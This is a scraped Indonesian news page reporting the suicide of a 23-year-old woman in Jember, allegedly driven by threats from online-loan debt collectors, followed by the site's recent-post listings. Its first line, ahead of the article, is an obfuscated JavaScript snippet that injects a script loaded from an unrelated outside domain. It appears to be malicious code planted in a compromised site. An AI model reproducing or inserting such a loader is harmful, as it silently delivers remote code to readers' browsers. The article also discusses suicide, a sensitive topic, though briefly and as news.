(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Diduga Gegara Tertekan Tagihan Pinjaman Online, Gadis di Jember Nekat Bunuh Diri


KANALKALIMANTAN.COM – Seorang gadis berinisial ER (23) nekat mengakhiri hidupnya dengan gantung diri. Warga Desa Balung Lor, Kabupaten Jember, Jawa Timur itu diduga tertekan ancaman penagih pinjaman online alias pinjol.

Gadis yang sehari-hari bekerja sebagai karyawan bagian farmasi salah satu rumah sakit di Jember itu ditemukan tewas menggantung di rumahnya. Pemicu aksi bunuh diri itu diduga depresi tekanan dari penagih pinjol.

“Ini diketahui dari surat wasiat dan percakapan chating whatsapp milik korban, yang ditemukan oleh tetangganya yang ikut mengevakuasi korban,” kata Ketua RW setempat, Darto, Sabtu (21/8/2021).

Kronologisnya, lanjut dia, bermula dari teriakan ibu korban yang sepulang kerja menemuka tubuh anaknya menggantung dengan seutas tali. Tetangga sekitar sontak berdatangan mendengar teriakan tersebut.

 

 

Baca juga: KABAR BAIK. Pasien Sembuh Covid-19 di Banjarbaru Hari Ini Capai 245 Orang

Peristiwa tragis itu persisnya terjadi pada Jumat (20/8/2021) pukul 15.30 waktu setempat.

“Saya diberitahu bu Heni (tetangga samping rumah korban), saya langsung datang. Setelah sampai di sana korban sudah diturunkan di lantai,” katanya.

Ia menambahkan, warga yang mengevakuasi juga sempat memberikan pertolongan pertama.

“Warga terlihat mengupayakan pertolongan pertama berharap korban masih bisa diselamatkan, namun korban sudah meninggal dunia,” sambungnya.

Dijelaskannya, dugaan bunuh diri akibat ancaman pinjol itu terkuat dari riwayat perpesanan di handphone milik korban. Namun, Ia mengaku tak tahu persis isi ancaman tersebut. Selain itu, konon ditemukan juga surat wasiat.

“Saya melihat mbak Heni membaca surat wasiat, tapi saya tidak ikut baca. Juga HP korban ada riwayat percakapan dengan oknum penagih Pinjol, ada ancaman. Namun saya tidak sampai membacanya, karena langsung diserahkan ke Polisi,” katanya.

Darto menambahkan, Polsek Balung, bersama tim identifikasi Polres Jember, Inafis (Indonesia Automatic Fingerprint Identification System), telah melakukan olah TKP.

Sementara, belum ada pernyataan resmi dari kepolisian. Bahkan Kapolsek Balung AKP Sunarto tak bisa dihubungi untuk dimintai konfirmasi. (Suara.com)

Editor : kk


Risa

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

7 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

10 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

15 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

16 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

18 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

22 jam ago

This website uses cookies.